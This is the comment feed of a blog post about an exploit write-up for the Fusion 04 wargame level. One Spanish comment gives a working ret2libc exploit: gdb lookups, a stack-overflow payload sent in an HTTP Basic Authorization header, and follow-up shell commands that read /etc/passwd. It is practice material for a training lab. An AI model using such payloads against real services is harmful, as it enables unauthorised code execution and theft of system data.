tag:blogger.com,1999:blog-8030856701715224582.post962140585640494424..comments2022-04-07T16:54:21.332+02:00Comments on int3pids: Fusion 04 exploit write-upurihttp://www.blogger.com/profile/16444680000725662261noreply@blogger.comBlogger3125tag:blogger.com,1999:blog-8030856701715224582.post-16062752412092075992015-05-07T01:26:14.704+02:002015-05-07T01:26:14.704+02:00How can you exactly obtain a libc base address wit...How can you exactly obtain a libc base address with knowing GOT base? Can't you just leak random function address from GOT(i.e. socket@got) as you are provided with the libc and just calculate the offset from there? aaaaxxhttps://www.blogger.com/profile/03559106221930118917noreply@blogger.comtag:blogger.com,1999:blog-8030856701715224582.post-1936252230845670282015-05-07T01:23:11.283+02:002015-05-07T01:23:11.283+02:00This comment has been removed by the author.aaaaxxhttps://www.blogger.com/profile/03559106221930118917noreply@blogger.comtag:blogger.com,1999:blog-8030856701715224582.post-46133598486757068222013-06-29T13:14:12.210+02:002013-06-29T13:14:12.210+02:00Hola Eloi, el exploit me ha parecido muy elegante,...Hola Eloi, el exploit me ha parecido muy elegante, y el payload ROP completamente funcional. He encontrado otra solución un poco más sencilla basada en ret2lib sin dicho payload. Tal y como has hecho, ya sea haciendo bruteforce sobre EBX o EIP obtenemos la dirección base del binario. Imaginemos para el caso que es 0x328000. Luego desde una entrada en la GOT (que haya sido previamente utilizada y resuelta) obtenemos la dirección base de la libc. Pongamos que es 0x50d000. Entonces podemos encontrar la dirección de system() en el offset 0x3cb20 y una cadena "sh\0" en el binario mediante:<br /><br />(gdb) find /h 0x328000, 0x328c00, 0x6873<br />0x3286b0<br />1 patter found.<br />(gdb) x/s 0x328000 + 0x6b0<br />0x3286b0: "sh"<br />(gdb)<br /><br />Por lo que ya tenemos todos los elementos necesarios:<br /><br />system_at_libc = libcbase + 0x3cb20<br />dir_sh_str = exestart + 0x6b0<br /><br />s = conexion(ip, port)<br />s.send("GET / HTTP/1.0\nAuthorization: Basic " + base64.b64encode("stack06:" + password + "a"*2024 + canary + "A"*12 + ebx + "A"*12 + struct.pack("<L", system_at_libc) + "AAAA" + struct.pack("<L", dir_sh_str)) + "\n\n")<br />s.send("id\n")<br />data = s.recv(1024)<br />print "ID = " + data<br />s.send("cat /etc/passwd | grep home\n")<br />data = s.recv(1024)<br />print "Users = " + data<br /><br />Y lo tenemos hecho sin ROP. El hecho de encontrar la cadena "sh\0" dentro<br />del ejecutable ha sido un poco de fortuna ;)<br /><br />Un abrazo.blackngelhttps://www.blogger.com/profile/04090660809152529576noreply@blogger.com